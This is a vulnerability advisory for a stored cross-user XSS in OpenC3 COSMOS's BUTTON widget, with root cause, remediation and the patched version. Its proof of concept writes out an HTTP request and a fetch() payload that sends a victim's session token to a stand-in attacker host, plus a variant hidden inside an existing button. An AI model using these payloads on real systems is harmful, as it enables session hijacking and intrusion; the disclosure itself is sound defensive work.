CVE-2026-77394: OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget
## Summary A user who can save a telemetry **screen** (permission `system_set`) can embed JavaScript in a screen `BUTTON` widget. The `BUTTON` widget **`eval()`s the stored button text in the browser** when the button is activated, and screens are **shared content rendered to other users in the scope**. As a result, an attacker's stored JavaScript executes **in a different operator's authenticated session** — a **stored, cross-user XSS** (not self-XSS). The payload runs in the COSMOS origin and can read `localStorage.openc3Token` (the victim's session token), enabling **session/account takeover** and, via the victim's privileges, a path to server-side code execution through the Script Runner. The site's Content-Security-Policy permits `'unsafe-inline'`/`'unsafe-eval'` (see "Contributing factor"), so the injected script runs unimpeded. - **Product:** OpenC3 COSMOS (Core; likely Enterprise — see scoping note) - **Affected version:** confirmed **7.2.0** (latest, tested 2026-06-25); the code path is present on `main`. Lower bound for maintainer to confirm. - **Reporter:** _Arpit Kubadia_ ## Description & root cause 1. **Screen save (the store):** `POST /openc3-api/screen` → `ScreensController#create` (`openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43`) persists the raw screen text after `authorization('system_set')`. No sanitization of the screen body. 2. **The sink (the execution):** the `BUTTON` widget stores the button's action as its second parameter and **`eval()`s it on click** — `openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109`: ```js const lines = this.eval.split(';;') // this.eval == parameters[1] from the stored screen ... const result = eval(lines[i].trim()) // attacker-controlled string -> arbitrary JS in the victim's session ``` 3. **Cross-user delivery:** screens are stored per-scope and rendered to **any** user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B's browser. 4. **Contributing factor (CSP):** `openc3-traefik/traefik.yaml:63` sets `script-src 'unsafe-inline' 'unsafe-eval' https: blob: ...` on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.) ## Proof of Concept ### A. Minimal PoC — a button that steals the viewer's token (verified) Authenticated as any user (Core) / a `system_set` user (Enterprise), store a screen: ``` POST /openc3-api/screen HTTP/1.1 Host: localhost:2900 Content-Type: application/json Authorization: ses_<YOUR_TOKEN> Content-Length: 224 {"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"} ``` → HTTP 200, body `true`. **Trigger (as the victim):** open `http://<host>:2900/tools/tlmviewer` → Target `INST`, Screen `XSSPOC` → click **Refresh**. The victim's session token is exfiltrated to `ATTACKER-COLLABORATOR`. *(Verified: an out-of-band request carrying a live `ses_…` token was received at the attacker host.)* A purely visual variant: replace the action with `alert(localStorage.openc3Token)`. ### B. Realistic exploitation — hijack an EXISTING operational screen (no lure) The minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators **already use**, hiding the payload behind a button they **already click**: - The `BUTTON` action is `eval`'d after `this.eval.split(';;')`, so **appending `;; <payload>` to an existing button keeps the original command working and adds the attacker's code**. The operator sees no change. - Example: take the stock `INST COMMANDING` screen's **`Start Collect`** button (which sends `api.cmd('INST COLLECT ...')`) and append: ``` ... + " ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))" ``` Re-save the screen (`POST /openc3-api/screen`, same route). Now every operator who opens COMMANDING and clicks `Start Collect` during normal operations sends the real command **and** leaks their session token. No new button, no behavioral change, no social-engineering lure. ## Impact The injected script runs with the victim's session in the COSMOS origin. It can: - **Exfiltrate the victim's session token** (`localStorage.openc3Token`) → session/account takeover (the token is a bearer credential accepted in the `Authorization` header). - Act as the victim against the API, and — for a victim with script privileges — pivot to the **Script Runner** to achieve **server-side code execution** (the documented escalation chain). This is **cross-user / persistent**: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS. ## Remediation 1. **Do not `eval()` screen-supplied strings.** Replace the `BUTTON` widget's `eval` with a constrained, non-`eval` command interface (an allow-listed API surface / safe expression evaluator), or sandbox it. 2. **Tighten the CSP** (`openc3-traefik/traefik.yaml`): remove `'unsafe-inline'`/`'unsafe-eval'`, move to per-request `nonce` + `'strict-dynamic'`, add `object-src 'none'`, `base-uri 'self'`, `frame-ancestors 'self'`. This alone neutralizes injected inline/eval'd script. 3. **Treat screens as untrusted, cross-user content** — escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general `system_set`.
Recommended action
Recommended action
Upgrade affected packages to a patched version: @openc3/vue-common 7.3.0.
Technical details
- Vendor
- Not specified
- Product
- @openc3/vue-common
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source